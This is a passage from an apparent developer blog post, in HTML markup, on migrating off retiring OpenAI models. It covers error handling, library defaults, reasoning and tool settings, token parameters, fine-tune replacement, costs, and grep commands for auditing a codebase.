2.7×&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-image-1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$10 / $40 (image tokens)&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-image-2&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$8 / $30&lt;/td&gt;&lt;td&gt;cheaper&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Three details the table hides:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;gpt-4o&lt;/code&gt; alias is not on the list.&lt;/strong&gt; It points to &lt;code&gt;gpt-4o-2024-08-06&lt;/code&gt; according to &lt;a href=&quot;https://developers.openai.com/api/docs/models/gpt-4o&quot;&gt;its model page&lt;/a&gt;, and only the May 2024 snapshot dies. &lt;code&gt;gpt-4o-mini&lt;/code&gt; and &lt;code&gt;gpt-4.1&lt;/code&gt; (without &lt;code&gt;-nano&lt;/code&gt;) aren’t on it either.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sol’s $4 / $20 is a promotion.&lt;/strong&gt; OpenAI says it is “available at least through November 21, 2026” and describes it as a 20% cut on input and 33% on output, which puts the regular price at about $5 / $30. Budget with that.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fine-tunes go the same day&lt;/strong&gt;: &lt;code&gt;ft-gpt-3.5-turbo&lt;/code&gt;, &lt;code&gt;ft-gpt-4&lt;/code&gt;, &lt;code&gt;ft-gpt-4.1-nano-2025-04-14&lt;/code&gt;, &lt;code&gt;ft-babbage-002&lt;/code&gt; and &lt;code&gt;ft-davinci-002&lt;/code&gt;. More on that below, because they have no real successor.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-the-failure-looks-like&quot;&gt;What the failure looks like&lt;/h2&gt;
&lt;p&gt;OpenAI’s only official statement is that “the model or endpoint will no longer be accessible.” It doesn’t document the error payload. What users reported after the July and August shutdowns this year (&lt;a href=&quot;https://github.com/meridianlabs-ai/actions/issues/71&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://github.com/ShenSeanChen/waku-agent/issues/132&quot;&gt;here&lt;/a&gt;) is consistent:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;404 invalid_request_error / model_not_found
The model `gpt-5.1-codex` has been deprecated, learn more here:
https://platform.openai.com/docs/deprecations
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Python SDK raises it as &lt;code&gt;openai.NotFoundError&lt;/code&gt;. Two practical consequences:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;It isn’t retryable.&lt;/strong&gt; If your wrapper retries on any exception with backoff, on October 23 it will spend its retry budget on a request that can never succeed, and your users will wait for it. Retry on 429 and 5xx, not on 404.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A health check that lists models will lie to you.&lt;/strong&gt; According to those same reports, retired IDs keep showing up in &lt;code&gt;GET /v1/models&lt;/code&gt; after they stop working. A startup check that confirms “my model is in the list” passes on a dead model. The only reliable check is a real one-token request.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The Responses API words it differently (“Model not found …”), so if you match on the message text, match on &lt;code&gt;code: model_not_found&lt;/code&gt; instead.&lt;/p&gt;
&lt;h2 id=&quot;1-the-model-you-never-wrote-library-defaults&quot;&gt;1. The model you never wrote: library defaults&lt;/h2&gt;
&lt;p&gt;This is the one that catches teams who think they are safe because &lt;code&gt;grep gpt-3.5&lt;/code&gt; finds nothing. I checked the source of the libraries that most tutorials from 2023 and 2024 use:&lt;/p&gt;






























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Library&lt;/th&gt;&lt;th&gt;Default when you don’t pass a model&lt;/th&gt;&lt;th&gt;Source&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;LangChain Python, &lt;code&gt;ChatOpenAI&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;&amp;quot;gpt-3.5-turbo&amp;quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/langchain-ai/langchain/blob/41d357287c0470f70e45e232c711013258c0ac1a/libs/partners/openai/langchain_openai/chat_models/base.py#L733&quot;&gt;&lt;code&gt;base.py#L733&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LangChain.js, &lt;code&gt;ChatOpenAI&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;&amp;quot;gpt-3.5-turbo&amp;quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/langchain-ai/langchainjs/blob/7d6e1b098723690bd1b98bc36ed18c75fa5a85ed/libs/providers/langchain-openai/src/chat_models/base.ts#L286&quot;&gt;&lt;code&gt;base.ts#L286&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LlamaIndex, &lt;code&gt;OpenAI&lt;/code&gt; LLM&lt;/td&gt;&lt;td&gt;&lt;code&gt;&amp;quot;gpt-3.5-turbo&amp;quot;&lt;/code&gt;, and it’s what core falls back to when no LLM is configured&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/run-llama/llama_index/blob/main/llama-index-integrations/llms/llama-index-llms-openai/llama_index/llms/openai/base.py&quot;&gt;&lt;code&gt;DEFAULT_OPENAI_MODEL&lt;/code&gt;&lt;/a&gt; in &lt;code&gt;llama-index-llms-openai&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vercel AI SDK&lt;/td&gt;&lt;td&gt;no default model, but &lt;code&gt;openai.completion()&lt;/code&gt; “currently only” supports &lt;code&gt;gpt-3.5-turbo-instruct&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://ai-sdk.dev/providers/ai-sdk-providers/openai&quot;&gt;OpenAI provider docs&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;So this, which appears in countless READMEs, is a &lt;code&gt;gpt-3.5-turbo&lt;/code&gt; call:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot; data-language=&quot;python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; langchain_openai &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; ChatOpenAI

llm &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ChatOpenAI&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;temperature&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# no model= → &amp;quot;gpt-3.5-turbo&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And with LlamaIndex it can be less visible still: if you never set &lt;code&gt;Settings.llm&lt;/code&gt;, a query engine builds an &lt;code&gt;OpenAI()&lt;/code&gt; on its own, with the same default. LlamaIndex’s &lt;code&gt;OpenAIResponses&lt;/code&gt; class defaults to &lt;code&gt;gpt-4o-mini&lt;/code&gt;, which survives.&lt;/p&gt;
&lt;p&gt;The Vercel case has an earlier date: &lt;code&gt;gpt-3.5-turbo-instruct&lt;/code&gt; shuts down &lt;strong&gt;September 28&lt;/strong&gt;, together with &lt;code&gt;babbage-002&lt;/code&gt; and &lt;code&gt;davinci-002&lt;/code&gt;, so anything using &lt;code&gt;openai.completion()&lt;/code&gt; or the legacy &lt;code&gt;/v1/completions&lt;/code&gt; endpoint loses its model almost a month before everything else. Those three are the only models the endpoint’s reference still names.&lt;/p&gt;
&lt;p&gt;The fix is always the same: pass the model explicitly, and read it from configuration so the next shutdown is an environment variable, not a deploy.&lt;/p&gt;
&lt;p&gt;For contrast, &lt;code&gt;laravel/ai&lt;/code&gt; 1.x already defaults to &lt;code&gt;gpt-5.6-terra&lt;/code&gt;, &lt;code&gt;-luna&lt;/code&gt;, &lt;code&gt;-sol&lt;/code&gt; and &lt;code&gt;gpt-image-2&lt;/code&gt;. Newer libraries got this right; the problem is code built on the ones from 2023.&lt;/p&gt;
&lt;h2 id=&quot;2-tools-on-chat-completions-now-need-reasoning-turned-off&quot;&gt;2. Tools on Chat Completions now need reasoning turned off&lt;/h2&gt;
&lt;p&gt;Every substitute in the table is a reasoning model, and that changes the contract of Chat Completions. From the &lt;a href=&quot;https://developers.openai.com/api/docs/guides/upgrading-to-gpt-5p6-sol&quot;&gt;GPT-5.6 upgrade guide&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For GPT-5.6, function tools in Chat Completions are compatible only with effective reasoning &lt;code&gt;none&lt;/code&gt;. Reasoning with tools should use the Responses API.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The default reasoning effort is &lt;code&gt;medium&lt;/code&gt;. So a function-calling chatbot that worked on &lt;code&gt;gpt-4-turbo&lt;/code&gt;, with the model string changed and nothing else, fails on its first request. This is the error one team hit on &lt;code&gt;gpt-5.6-luna&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;400 - Function tools with reasoning_effort are not supported for gpt-5.6-luna
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You have two ways out. The minimal one keeps Chat Completions and turns reasoning off, which is the closest thing to how &lt;code&gt;gpt-4-turbo&lt;/code&gt; behaved:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; data-language=&quot;js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; openai&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;chat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;completions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;gpt-5.6-sol&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;reasoning_effort&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;none&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;// required if you pass tools&lt;/span&gt;
  messages&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  tools&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The one OpenAI recommends is moving that call to the Responses API, where reasoning and tools do work together. It’s more than a rename: the system prompt goes to &lt;code&gt;instructions&lt;/code&gt;, structured outputs move from &lt;code&gt;response_format&lt;/code&gt; to &lt;code&gt;text.format&lt;/code&gt;, and function definitions lose a nesting level:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; data-language=&quot;js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Chat Completions&lt;/span&gt;
&lt;span class=&quot;token literal-property property&quot;&gt;tools&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;function&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;get_order&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; parameters &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Responses&lt;/span&gt;
&lt;span class=&quot;token literal-property property&quot;&gt;tools&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;function&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;get_order&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; parameters &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The strictness default also flips. According to the &lt;a href=&quot;https://developers.openai.com/api/docs/guides/migrate-to-responses&quot;&gt;migration guide&lt;/a&gt;, functions are non-strict by default in Chat Completions, while in Responses omitting &lt;code&gt;strict&lt;/code&gt; makes it attempt strict mode. If your JSON schemas were written loosely, set &lt;code&gt;strict&lt;/code&gt; explicitly instead of inheriting the new default.&lt;/p&gt;
&lt;p&gt;Chat Completions itself is not deprecated. OpenAI’s wording is that it “remains supported” and Responses “is recommended for all new projects”. You don’t have to migrate the endpoint on October 23, only decide about reasoning.&lt;/p&gt;
&lt;h2 id=&quot;3-max_tokens-renamed-and-now-it-has-to-pay-for-thinking&quot;&gt;3. &lt;code&gt;max_tokens&lt;/code&gt;: renamed, and now it has to pay for thinking&lt;/h2&gt;
&lt;p&gt;The Chat Completions reference marks &lt;code&gt;max_tokens&lt;/code&gt; as “deprecated in favor of &lt;code&gt;max_completion_tokens&lt;/code&gt;” and “not compatible with o-series models”. The docs don’t state whether GPT-5.6 rejects &lt;code&gt;max_tokens&lt;/code&gt; outright; the team in the issue above reports that all their calls needed the new name. Rename it either way.&lt;/p&gt;
&lt;p&gt;The part that actually changes behavior is what the new parameter counts. &lt;code&gt;max_completion_tokens&lt;/code&gt; covers “visible output tokens and reasoning tokens”, and reasoning tokens “are billed as output tokens” (&lt;a href=&quot;https://developers.openai.com/api/docs/guides/reasoning&quot;&gt;reasoning guide&lt;/a&gt;). The classic &lt;code&gt;gpt-3.5-turbo&lt;/code&gt; classifier with &lt;code&gt;max_tokens: 50&lt;/code&gt; to force a short label, moved to &lt;code&gt;gpt-5.6-terra&lt;/code&gt; at its default &lt;code&gt;medium&lt;/code&gt; effort, can spend the whole budget thinking and come back truncated or empty, and you pay for the reasoning anyway. OpenAI recommends reserving at least 25,000 tokens for reasoning and output.&lt;/p&gt;
&lt;p&gt;For short, deterministic tasks the fix is not a bigger budget but no reasoning:&lt;/p&gt;
&lt;pre class=&quot;language-python&quot; data-language=&quot;python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;chat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;completions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    model&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;quot;gpt-5.6-terra&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    reasoning_effort&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;        &lt;span class=&quot;token comment&quot;&gt;# a label doesn&amp;#39;t need to think&lt;/span&gt;
    max_completion_tokens&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;       &lt;span class=&quot;token comment&quot;&gt;# was max_tokens&lt;/span&gt;
    messages&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;messages&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;temperature&lt;/code&gt; and &lt;code&gt;top_p&lt;/code&gt; are a similar trap. For GPT-5.2 and 5.4 the docs say they’re only supported with reasoning effort &lt;code&gt;none&lt;/code&gt;; for 5.6 I couldn’t find the rule written down. If you pass them, test with and without reasoning before the 23rd instead of finding out in production.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #a855f7&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#a855f71a;color:#a855f7&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; LLM Token Counter &amp;amp; AI Cost Calculator &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Count the tokens in your text or prompt and estimate the cost across GPT-5, Claude, Gemini, Kimi K3, Grok and DeepSeek. Exact OpenAI counting, per-call and monthly costs, with prompt caching. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/llm-token-counter/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;contador-tokens&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;4-fine-tuned-models-have-no-successor&quot;&gt;4. Fine-tuned models have no successor&lt;/h2&gt;
&lt;p&gt;The substitute column sends &lt;code&gt;ft-gpt-3.5-turbo&lt;/code&gt; to &lt;code&gt;gpt-5.6-terra&lt;/code&gt; and &lt;code&gt;ft-gpt-4&lt;/code&gt; to &lt;code&gt;gpt-5.6-sol&lt;/code&gt;. Those are base models. The GPT-5.6 model pages list fine-tuning as not supported, and from January 6, 2027 existing customers can no longer create fine-tuning jobs at all.&lt;/p&gt;
&lt;p&gt;In practice, whatever your fine-tune learned (tone, output format, domain labels) has to move into the prompt: few-shot examples, a strict schema through structured outputs, or retrieval. Plan that work now. It’s the only item on this list that is a project rather than a patch, and the training data you’ll need to write examples from is what you used to build the fine-tune.&lt;/p&gt;
&lt;h2 id=&quot;5-o1-pro-and-gpt-image-1-different-parameters-not-new-names&quot;&gt;5. &lt;code&gt;o1-pro&lt;/code&gt; and &lt;code&gt;gpt-image-1&lt;/code&gt;: different parameters, not new names&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;o1-pro&lt;/code&gt; → &lt;code&gt;gpt-5.6-sol&lt;/code&gt; in pro mode.&lt;/strong&gt; The guide is explicit: “do not search for or invent a separate &lt;code&gt;gpt-5.6-pro&lt;/code&gt; slug”. Pro mode is a reasoning setting on Sol and only works through Responses, not Chat Completions. &lt;code&gt;o1-pro&lt;/code&gt; was already Responses-only, so the endpoint doesn’t change; the model name and the reasoning setting do. OpenAI warns that pro mode “performs more model work”, so the per-token price is lower than &lt;code&gt;o1-pro&lt;/code&gt; but the tokens per request go up.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gpt-image-1&lt;/code&gt; → &lt;code&gt;gpt-image-2&lt;/code&gt;.&lt;/strong&gt; The image guide says to omit &lt;code&gt;input_fidelity&lt;/code&gt; for &lt;code&gt;gpt-image-2&lt;/code&gt;, so if your edit calls pass it, remove it. And if you depend on transparent backgrounds, &lt;code&gt;gpt-image-2&lt;/code&gt; has only offered them in preview since August 20.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;6-the-bill&quot;&gt;6. The bill&lt;/h2&gt;
&lt;p&gt;For the GPT-4 family and &lt;code&gt;o1&lt;/code&gt;, the switch saves money, even more so if you were still paying $30 / $60 for &lt;code&gt;gpt-4-0613&lt;/code&gt;. For everything that was chosen &lt;em&gt;because it was cheap&lt;/em&gt;, it costs more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A classifier or router on &lt;code&gt;gpt-3.5-turbo&lt;/code&gt; processing 1M input and 200K output tokens a day costs $0.80. On &lt;code&gt;gpt-5.6-terra&lt;/code&gt; with reasoning off, $4.40. &lt;strong&gt;That’s 5.5×&lt;/strong&gt; before counting a single reasoning token.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;o3-mini&lt;/code&gt; → &lt;code&gt;gpt-5.6-sol&lt;/code&gt; is 3.6× on input and 4.5× on output, and more once the promotion ends.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gpt-4.1-nano&lt;/code&gt; → &lt;code&gt;gpt-5.6-luna&lt;/code&gt; doubles input and triples output.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If one of those lines matters to you, test a cheaper tier than the table suggests before accepting the substitute: the column says what OpenAI considers equivalent, not what your task needs. I break down per-task cost across providers in &lt;a href=&quot;https://ortamarco.me/en/blog/how-much-openai-claude-gemini-api-costs-2026/&quot;&gt;how much the OpenAI, Claude and Gemini APIs cost&lt;/a&gt;. And no, the table doesn’t point to &lt;code&gt;gpt-6-astra&lt;/code&gt;, even though the reasoning guide now says “start with” it: at $10 / $50 and without &lt;code&gt;temperature&lt;/code&gt;, &lt;code&gt;top_p&lt;/code&gt; or &lt;code&gt;top_logprobs&lt;/code&gt; it’s a different decision, which I cover in &lt;a href=&quot;https://ortamarco.me/en/blog/gpt-6-astra-api-developers/&quot;&gt;GPT-6 Astra for developers&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;the-audit-three-greps-and-a-real-request&quot;&gt;The audit: three greps and a real request&lt;/h2&gt;
&lt;p&gt;From the repository root. The first looks for the dead IDs as exact quoted strings, so it skips &lt;code&gt;gpt-4o&lt;/code&gt;, &lt;code&gt;gpt-4o-mini&lt;/code&gt; and &lt;code&gt;gpt-4.1&lt;/code&gt;, which survive:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. Model IDs that die on Oct 23 (and Sep 28), as quoted strings&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;[&amp;#39;&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&amp;quot;&lt;/span&gt;\&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gpt-3&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;.5-turbo&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a-z0-9-&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;*&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;gpt-4&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;gpt-4-0613&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;gpt-4-turbo&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a-z0-9-&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;*&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;gpt-4-1106-preview&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;gpt-4o-2024-05-13&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;gpt-4&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;.1-nano&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a-z0-9-&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;*&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;o1&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;o1-pro&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a-z0-9-&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;*&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;o1-2024-12-17&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;o3-mini&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a-z0-9-&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;*&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;o4-mini&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a-z0-9-&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;*&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;gpt-image-1&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;babbage-002&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;davinci-002&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&amp;#39;&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;&amp;quot;&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;`&lt;/span&gt;&lt;/span&gt;]&amp;quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --exclude-dir&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;node_modules,vendor,.git&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 2. The same in environment files, where names go unquoted&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;=(gpt-3\.5|gpt-4(-|$)|o1|o3-mini|o4-mini|gpt-image-1$)&amp;quot;&lt;/span&gt; .env* &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&amp;gt;&lt;/span&gt;/dev/null

&lt;span class=&quot;token comment&quot;&gt;# 3. Constructors that inherit a library default&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;ChatOpenAI\(|llama_index\.llms\.openai|openai\.completion\(&amp;quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
